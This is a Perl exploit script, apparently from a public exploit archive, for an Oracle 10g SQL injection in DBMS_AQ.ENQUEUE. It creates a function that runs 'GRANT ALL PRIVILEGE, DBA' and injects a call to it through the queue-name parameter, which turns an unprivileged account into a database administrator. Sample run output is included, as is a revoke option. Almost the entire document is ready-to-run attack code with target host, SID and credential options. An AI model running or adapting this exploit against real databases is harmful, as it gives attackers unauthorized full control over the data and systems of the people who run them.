dbms_aq-enqueue.txt

                							

                #!/usr/bin/perl
#
# [0-day] Remote Oracle DBMS_AQ.ENQUEUE exploit (10g)
#
# Grant or revoke dba permission to unprivileged user
# 
# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
#   
#   AUTHOR: Andrea "bunker" Purificato
#           http://rawlab.mindcreations.com
#
#   DATE:   Copyright 2007 - Mon Apr  2 11:54:22 CEST 2007
#  
#   PATCH:  http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2007.html 
#      (CVE-2007-0268 ?)
#
#
# Oracle InstantClient (basic + sdk) required for DBD::Oracle
# 
#
# bunker@fin:~/orasploit$ perl dbms_aq-enqueue.pl -h localhost -s test -u bunker -p **** -r
#  [-] Wait...
#  [-] Revoking DBA from BUNKER...
#  DBD::Oracle::db do failed: ORA-01951: ROLE 'DBA' not granted to 'BUNKER' (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at dbms_aq-enqueue.pl line 95.
#  [-] Done!
# 
# bunker@fin:~/orasploit$ perl dbms_aq-enqueue.pl -h localhost -s test -u bunker -p **** -g
#  [-] Wait...
#  [-] Creating evil function...
#  [-] Go ...(don't worry about errors)!
#  DBD::Oracle::st execute failed: ORA-25205: the QUEUE BUNKER.'burp' does not exist
#  ORA-06512: at "SYS.DBMS_AQ", line 6
#  ORA-06512: at "SYS.DBMS_AQ", line 215
#  ORA-06512: at line 10 (DBD ERROR: OCIStmtExecute) [for Statement "
#  DECLARE
#      ident   VARCHAR2(100);
#      enq_opt dbms_aq.enqueue_options_t;
#      msg_prp dbms_aq.message_properties_t;
#      msgid   raw(100);
#      payload raw(100);
#  BEGIN
#      ident := '"'''||BUNKER.own||'''"';
#      dbms_aq.enqueue(ident, enq_opt,msg_prp, payload, msgid);
#  END;
#  "] at dbms_aq-enqueue.pl line 125.
#  [-] YOU GOT THE POWAH!!
# 
# bunker@fin:~/orasploit$ perl dbms_aq-enqueue.pl -h localhost -s test -u bunker -p **** -r
#  [-] Wait...
#  [-] Revoking DBA from BUNKER...
#  [-] Done!
#

use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;

sub usage {
    print <<"USAGE";
    
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]

Options:
     -h     <host>     target server address
     -s     <sid>      target sid name
     -u     <user>     user
     -p     <passwd>   password 

     -g|-r             (g)rant dba to user | (r)evoke dba from user
    [-P     <port>     Oracle port]

USAGE
    exit 0
}

my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};

my $dbh = undef;
if ($opt{P}) {
    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
} else {
    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
}

my $sqlcmd = "GRANT ALL PRIVILEGE, DBA TO $user";
print "[-] Wait...\n";

if ($opt{r}) {
    print "[-] Revoking DBA from $user...\n";
    $sqlcmd = "REVOKE DBA FROM $user";
    $dbh->do( $sqlcmd );
    print "[-] Done!\n";
    $dbh->disconnect;
    exit;
}

print "[-] Creating evil function...\n";
$dbh->do( qq{
CREATE OR REPLACE FUNCTION OWN RETURN VARCHAR 
 AUTHID CURRENT_USER AS 
 PRAGMA AUTONOMOUS_TRANSACTION; 
BEGIN
 EXECUTE IMMEDIATE '$sqlcmd'; COMMIT; 
 RETURN 'burp';
END;
} );
 
print "[-] Go ...(don't worry about errors)!\n";
my $sth = $dbh->prepare( qq{
DECLARE
    ident   VARCHAR2(100);
    enq_opt dbms_aq.enqueue_options_t;
    msg_prp dbms_aq.message_properties_t;
    msgid   raw(100);
    payload raw(100);
BEGIN
    ident := '"'''||$user.own||'''"';
    dbms_aq.enqueue(ident, enq_opt,msg_prp, payload, msgid); 
END;
});
$sth->execute;
$sth->finish;
print "[-] YOU GOT THE POWAH!!\n";
$dbh->disconnect;
exit;
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